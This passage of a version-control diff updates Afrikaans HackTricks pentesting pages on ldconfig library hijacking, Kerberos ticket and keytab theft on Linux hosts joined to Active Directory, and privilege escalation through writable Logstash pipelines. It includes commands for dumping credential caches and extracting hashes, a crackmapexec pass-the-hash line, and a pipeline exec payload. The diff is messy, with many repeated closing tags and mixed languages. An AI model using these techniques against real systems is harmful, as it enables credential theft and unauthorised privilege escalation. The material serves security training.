En laastens, laat ons die pad laai en kyk waar die binêre die biblioteek van laai:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
|
@ -179,29 +150,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
|
||||
**Soos u kan sien, kan u dieselfde kwesbaarheid uitbuit deur sudo-voorregte oor `ldconfig` te hê.**
|
||||
**Soos jy kan sien, as jy sudo-regte oor `ldconfig` het, kan jy dieselfde kwesbaarheid benut.**
|
||||
|
||||
{% hint style="info" %}
|
||||
Ek **het nie** 'n betroubare manier gevind om hierdie kwesbaarheid uit te buit as `ldconfig` gekonfigureer is met die **suid-bit**. Die volgende fout verskyn: `/sbin/ldconfig.real: Kan nie tydelike kaslêer /etc/ld.so.cache~ skep nie: Toestemming geweier`
|
||||
{% endhint %}
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
|
||||
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
|
||||
* Dab-masjien in HTB
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As u u **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel u haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Linux Aktiewe Gids
|
||||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
'n Linux-rekenaar kan ook binne 'n Aktiewe Gids-omgewing teenwoordig wees.
|
||||
'n Linux masjien kan ook teenwoordig wees binne 'n Active Directory omgewing.
|
||||
|
||||
'n Linux-rekenaar in 'n AD kan **verskillende CCACHE-kaartjies binne lêers stoor. Hierdie kaartjies kan gebruik en misbruik word soos enige ander kerberos-kaartjie**. Om hierdie kaartjies te lees, moet jy die eienaar van die kaartjie of **root** binne die rekenaar wees.
|
||||
'n Linux masjien in 'n AD mag **verskillende CCACHE kaartjies binne lêers stoor. Hierdie kaartjies kan gebruik en misbruik word soos enige ander kerberos kaartjie**. Om hierdie kaartjies te lees, moet jy die gebruiker-eienaar van die kaartjie wees of **root** binne die masjien.
|
||||
|
||||
## Enumerasie
|
||||
## Enumeration
|
||||
|
||||
### AD enumerasie vanaf Linux
|
||||
### AD enumeration from linux
|
||||
|
||||
As jy toegang het tot 'n AD in Linux (of bash in Windows), kan jy [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) probeer om die AD te enumereer.
|
||||
As jy toegang het oor 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate.
|
||||
|
||||
Jy kan ook die volgende bladsy raadpleeg om **ander maniere om AD vanaf Linux te enumereer** te leer:
|
||||
Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD van linux te enumerate**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -30,27 +33,27 @@ Jy kan ook die volgende bladsy raadpleeg om **ander maniere om AD vanaf Linux te
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Aktiewe Gids**, hoofsaaklik vir **Unix**-omgewings. Dit kombineer 'n volledige **LDAP-gids** met 'n MIT **Kerberos** Sleutelverspreidingsentrum vir bestuur soortgelyk aan Aktiewe Gids. Deur gebruik te maak van die Dogtag **Sertifikaatstelsel** vir CA & RA sertifikaatbestuur, ondersteun dit **multi-faktor**-verifikasie, insluitend slimkaarte. SSSD is geïntegreer vir Unix-verifikasieprosesse. Lees meer daaroor in:
|
||||
FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Active Directory**, hoofsaaklik vir **Unix** omgewings. Dit kombineer 'n volledige **LDAP gids** met 'n MIT **Kerberos** Sleutelverspreidingsentrum vir bestuur soortgelyk aan Active Directory. Dit gebruik die Dogtag **Sertifikaatsisteem** vir CA & RA sertifikaatbestuur, en ondersteun **multi-faktor** verifikasie, insluitend slimkaarte. SSSD is geïntegreer vir Unix verifikasieprosesse. Leer meer daaroor in:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Speel met kaartjies
|
||||
## Playing with tickets
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
Op hierdie bladsy sal jy verskillende plekke vind waar jy **kerberos-kaartjies binne 'n Linux-gashouer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache-kaartjie-formate na Kirbi te omskep (die formaat wat jy in Windows moet gebruik) en ook hoe om 'n PTT-aanval uit te voer:
|
||||
Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies binne 'n linux gasheer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache kaartjie formate na Kirbi (die formaat wat jy in Windows moet gebruik) te transformeer en ook hoe om 'n PTT aanval uit te voer:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CCACHE-kaartjie-hergebruik vanaf /tmp
|
||||
### CCACHE ticket reuse from /tmp
|
||||
|
||||
CCACHE-lêers is binêre formate vir **stoor van Kerberos-legitimasie** word tipies gestoor met 600-permissies in `/tmp`. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die legitieme kaartjie moet die **omgewingsveranderlike `KRB5CCNAME`** ingestel word op die pad van die gewenste kaartjielêer, sodat dit hergebruik kan word.
|
||||
CCACHE lêers is binêre formate vir **storing Kerberos akrediteer** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik daarvan moontlik maak.
|
||||
|
||||
Lys die huidige kaartjie wat vir legitimasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewingsveranderlike** in te stel met `export KRB5CCNAME=/tmp/ticket.ccache`. Die naamformaat van die Kerberos-kaartjie is `krb5cc_%{uid}` waar uid die gebruiker se UID is.
|
||||
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker se UID is.
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -59,56 +62,55 @@ krb5cc_1000
|
|||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE-kaartjies hergebruik van sleutelring
|
||||
### CCACHE kaart hergebruik vanaf sleutelring
|
||||
|
||||
**Kerberos-kaartjies wat in die geheue van 'n proses gestoor word, kan onttrek word**, veral wanneer die ptrace-beskerming van die masjien gedeaktiveer is (`/proc/sys/kernel/yama/ptrace_scope`). 'n Nuttige instrument vir hierdie doel is beskikbaar by [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), wat die onttrekking fasiliteer deur in sessies in te spuit en kaartjies na `/tmp` te dump.
|
||||
**Kerberos-kaarte wat in 'n proses se geheue gestoor is, kan onttrek word**, veral wanneer die masjien se ptrace-beskerming gedeaktiveer is (`/proc/sys/kernel/yama/ptrace_scope`). 'n Nuttige hulpmiddel vir hierdie doel is te vind by [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), wat die onttrekking vergemaklik deur in sessies in te spuit en kaarte in `/tmp` te dump.
|
||||
|
||||
Om hierdie instrument te konfigureer en te gebruik, word die volgende stappe gevolg:
|
||||
Om hierdie hulpmiddel te konfigureer en te gebruik, word die onderstaande stappe gevolg:
|
||||
```bash
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
Hierdie prosedure sal probeer om in verskeie sessies in te spuit, sukses aandui deur geëkstraeerde kaartjies in `/tmp` te stoor met 'n naamkonvensie van `__krb_UID.ccache`.
|
||||
Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aandui deur onttrokken kaartjies in `/tmp` te stoor met 'n naamkonvensie van `__krb_UID.ccache`.
|
||||
|
||||
### CCACHE kaartjie hergebruik van SSSD KCM
|
||||
|
||||
### CCACHE-kaartjiehergebruik vanaf SSSD KCM
|
||||
SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het.
|
||||
|
||||
SSSD onderhou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word gestoor as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey`. Standaard is die sleutel slegs leesbaar as jy **root**-regte het.
|
||||
|
||||
Deur \*\*`SSSDKCMExtractor` \*\* aan te roep met die --database en --key parameters, sal die databasis geanaliseer word en die geheime **ontsleutel**.
|
||||
Die **`SSSDKCMExtractor`** met die --database en --key parameters aanroep sal die databasis ontleed en **die geheime ontcijfer**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
Die **kerberos-blob van die geloofsbewaarplek kan omskep word in 'n bruikbare Kerberos CCache-lêer** wat aan Mimikatz/Rubeus oorgedra kan word.
|
||||
Die **akkrediteringskas Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lêer wat aan Mimikatz/Rubeus oorgedra kan word.
|
||||
|
||||
### Hergebruik van CCACHE-kaartjie vanaf sleuteltabel
|
||||
### CCACHE kaartjie hergebruik vanaf keytab
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
### Haal rekeninge uit /etc/krb5.keytab
|
||||
### Trek rekeninge uit /etc/krb5.keytab
|
||||
|
||||
Diensrekening sleutels, noodsaaklik vir dienste wat met root-voorregte werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
|
||||
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met wortelprivileges werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
|
||||
|
||||
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die instrument is ontwerp om sleutelbesonderhede te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleutel tipe as 23 geïdentifiseer word.
|
||||
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
```
|
||||
Vir Linux-gebruikers bied **`KeyTabExtract`** funksionaliteit om die RC4 HMAC-hash uit te trek, wat gebruik kan word vir hergebruik van NTLM-hash.
|
||||
Vir Linux gebruikers bied **`KeyTabExtract`** funksionaliteit om die RC4 HMAC-has te onttrek, wat benut kan word vir NTLM-has hergebruik.
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
# Expected output varies based on hash availability
|
||||
```
|
||||
Op macOS dien **`bifrost`** as 'n instrument vir die analise van keytab-lêers.
|
||||
Op macOS dien **`bifrost`** as 'n hulpmiddel vir sleuteltabelfilaanalise.
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
Deur gebruik te maak van die onttrekte rekening- en hasinligting, kan verbinding met bedieners tot stand gebring word deur middel van gereedskap soos **`crackmapexec`**.
|
||||
Deur die onttrokken rekening- en hash-inligting te gebruik, kan verbindings met bedieners gevestig word met behulp van gereedskap soos **`crackmapexec`**.
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
|
@ -117,14 +119,17 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
|||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,25 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Logstash
|
||||
|
||||
Logstash word gebruik om **logs te versamel, transformeer en versprei** deur 'n stelsel wat bekend staan as **pipelines**. Hierdie pipelines bestaan uit **invoer**, **filter** en **uitvoer** fases. 'n Interessante aspek ontstaan wanneer Logstash op 'n gekompromitteerde masjien werk.
|
||||
Logstash word gebruik om **logs te versamel, te transformeer en te stuur** deur 'n stelsel bekend as **pipelines**. Hierdie pipelines bestaan uit **invoer**, **filter**, en **uitvoer** fases. 'n Interessante aspek ontstaan wanneer Logstash op 'n gecompromitteerde masjien werk.
|
||||
|
||||
### Pipeline-konfigurasie
|
||||
### Pipeline Konfigurasie
|
||||
|
||||
Pipelines word gekonfigureer in die lêer **/etc/logstash/pipelines.yml**, wat die plekke van die pipeline-konfigurasies lys:
|
||||
Pipelines word geconfigureer in die lêer **/etc/logstash/pipelines.yml**, wat die plekke van die pipeline konfigurasies lys:
|
||||
```yaml
|
||||
# Define your pipelines here. Multiple pipelines can be defined.
|
||||
# For details on multiple pipelines, refer to the documentation:
|
||||
|
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
|
|||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
Hierdie lêer onthul waar die **.conf** lêers, wat pyplynkonfigurasies bevat, geleë is. Wanneer 'n **Elasticsearch uitsetmodule** gebruik word, is dit algemeen dat **pyplyne** **Elasticsearch-legitimasie** insluit, wat dikwels uitgebreide voorregte het as gevolg van Logstash se behoefte om data na Elasticsearch te skryf. Wildcards in konfigurasiepaaie stel Logstash in staat om alle ooreenstemmende pyplyne in die aangewese gids uit te voer.
|
||||
This lêer onthul waar die **.conf** lêers, wat pyplyn konfigurasies bevat, geleë is. Wanneer 'n **Elasticsearch output module** gebruik word, is dit algemeen dat **pyplyne** **Elasticsearch kredensiale** insluit, wat dikwels uitgebreide bevoegdhede het weens Logstash se behoefte om data na Elasticsearch te skryf. Wildcards in konfigurasiepaaie laat Logstash toe om alle ooreenstemmende pyplyne in die aangewese gids uit te voer.
|
||||
|
||||
### Voorregverhoging deur Skryfbare Pyplyne
|
||||
### Bevoegdheidstoename deur Skryfbare Pyplyne
|
||||
|
||||
Om voorregverhoging te probeer, identifiseer eers die gebruiker waaronder die Logstash-diens gewoonlik loop, tipies die **logstash**-gebruiker. Maak seker dat jy aan **een** van hierdie kriteria voldoen:
|
||||
Om 'n poging tot bevoegdheidstoename te doen, identifiseer eers die gebruiker waaronder die Logstash diens loop, tipies die **logstash** gebruiker. Verseker dat jy aan **een** van hierdie kriteria voldoen:
|
||||
|
||||
- Besit **skryftoegang** tot 'n pyplyn **.conf** lêer **of**
|
||||
- Die **/etc/logstash/pipelines.yml** lêer gebruik 'n wildcard, en jy kan na die teikengids skryf
|
||||
- Besit **skryfgemagtigdheid** tot 'n pyplyn **.conf** lêer **of**
|
||||
- Die **/etc/logstash/pipelines.yml** lêer gebruik 'n wildcard, en jy kan na die teiken gids skryf
|
||||
|
||||
Daarbenewens moet **een** van hierdie voorwaardes vervul word:
|
||||
Boonop moet **een** van hierdie toestande vervul word:
|
||||
|
||||
- Die vermoë om die Logstash-diens te herlaai **of**
|
||||
- Vermoë om die Logstash diens te herbegin **of**
|
||||
- Die **/etc/logstash/logstash.yml** lêer het **config.reload.automatic: true** ingestel
|
||||
|
||||
Met 'n wildcard in die konfigurasie, maak dit moontlik om 'n lêer te skep wat ooreenstem met hierdie wildcard en sodoende opdraguitvoering toe te laat. Byvoorbeeld:
|
||||
Gegewe 'n wildcard in die konfigurasie, laat die skep van 'n lêer wat met hierdie wildcard ooreenstem toe dat opdragte uitgevoer word. Byvoorbeeld:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
|
@ -61,26 +66,6 @@ codec => rubydebug
|
|||
}
|
||||
}
|
||||
```
|
||||
Hier bepaal **interval** die uitvoeringsfrekwensie in sekondes. In die gegewe voorbeeld word die **whoami**-opdrag elke 120 sekondes uitgevoer, met die uitvoer wat na **/tmp/output.log** gerig word.
|
||||
Hier, **interval** bepaal die uitvoeringsfrekwensie in sekondes. In die gegewe voorbeeld, die **whoami** opdrag loop elke 120 sekondes, met sy uitvoer gerig na **/tmp/output.log**.
|
||||
|
||||
Met **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, sal Logstash outomaties nuwe of gewysigde pyplynkonfigurasies opspoor en toepas sonder om 'n herlaaiing te benodig. As daar geen wildcards is nie, kan wysigings steeds aangebring word aan bestaande konfigurasies, maar voorsoorsigtigheid word aanbeveel om ontwrigting te voorkom.
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
